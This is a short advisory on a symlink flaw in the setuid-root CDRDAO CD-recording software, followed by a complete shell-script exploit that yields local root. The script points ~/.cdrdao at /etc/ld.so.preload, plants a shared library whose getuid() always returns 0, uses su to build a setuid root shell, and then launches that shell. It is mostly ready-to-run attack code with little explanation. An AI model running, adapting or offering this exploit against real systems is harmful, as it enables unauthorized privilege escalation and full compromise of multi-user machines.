79 lines
No EOL
2.1 KiB
Bash
Executable file
79 lines
No EOL
2.1 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/3865/info
|
|
|
|
CDRDAO is a freely available, open source CD recording software package available for the Unix and Linux Operating Systems. It is maintained by Andreas Mueller.
|
|
|
|
When CDRDAO saves it's configuration to the .cdrdao file in a user's home directory, the file is saved with root ownership. Additionally, CDRDAO does not check for the previous existence of this file. Since the cdrdao executable is typically installed setuid root, it is possible for a user to create this file as a symbolic link, which could result in the overwriting of root-owned files, or potentially allow the user execute commands as root.
|
|
|
|
|
|
|
|
#!/bin/sh
|
|
DIR=`pwd`
|
|
echo ""
|
|
echo "cdrdao local root exploit - gr doesn't protect you this time"
|
|
echo "Karol Wiêsek <appelast*drumnbass.art.pl>"
|
|
echo ""
|
|
sleep 2
|
|
umask 000
|
|
echo -n "[*] Checking if /etc/ld.so.preload doesn't exist ... "
|
|
if [ -f /etc/ld.so.preload ]; then
|
|
echo "WRONG"
|
|
echo "/etc/ld.so.preload exists, write another exploit ;P"
|
|
exit
|
|
else
|
|
echo "OK"
|
|
fi
|
|
echo -n "[*] Checking if su is setuid ... "
|
|
if [ -u /bin/su ];then
|
|
echo "OK"
|
|
else
|
|
echo "WRONG"
|
|
exit
|
|
fi
|
|
echo -n "[*] Creating evil *uid() library ... "
|
|
cat > getuid_lib.c << _EOF
|
|
int getuid(void) {
|
|
return 0; }
|
|
_EOF
|
|
gcc -o getuid_lib.o -c getuid_lib.c
|
|
ld -shared -o getuid_lib.so getuid_lib.o
|
|
rm -f getuid_lib.c getuid_lib.o
|
|
if [ -f ./getuid_lib.so ]; then
|
|
echo "OK"
|
|
else
|
|
echo "WRONG"
|
|
fi
|
|
echo -n "[*] Creating suidshell ... "
|
|
cat > suid.c << _EOF
|
|
int main(void) {
|
|
setgid(0); setuid(0);
|
|
unlink("./suid");
|
|
execl("/bin/sh","sh",0); }
|
|
_EOF
|
|
gcc -o suid suid.c
|
|
rm -f suid.c
|
|
if [ -x ./suid ];then
|
|
echo "OK"
|
|
else
|
|
echo "WRONG"
|
|
exit
|
|
fi
|
|
echo -n "[*] Exploiting cdrdao ... "
|
|
ln -sf /etc/ld.so.preload $HOME/.cdrdao
|
|
if [ ! -L $HOME/.cdrdao ];then
|
|
echo "Could'n link to \$HOME/.cdrdao"
|
|
exit
|
|
fi
|
|
cdrdao unlock --save 2>/dev/null
|
|
>/etc/ld.so.preload
|
|
echo "$DIR/getuid_lib.so" > /etc/ld.so.preload
|
|
su - -c "rm /etc/ld.so.preload; chown root:root $DIR/suid; chmod +s $DIR/suid"
|
|
if [ -s ./suid ];then
|
|
echo "OK"
|
|
else
|
|
echo "WRONG"
|
|
exit
|
|
fi
|
|
rm -f getuid_lib.so
|
|
unlink $HOME/.cdrdao
|
|
echo "Entering rootshell ... ;]"
|
|
./suid |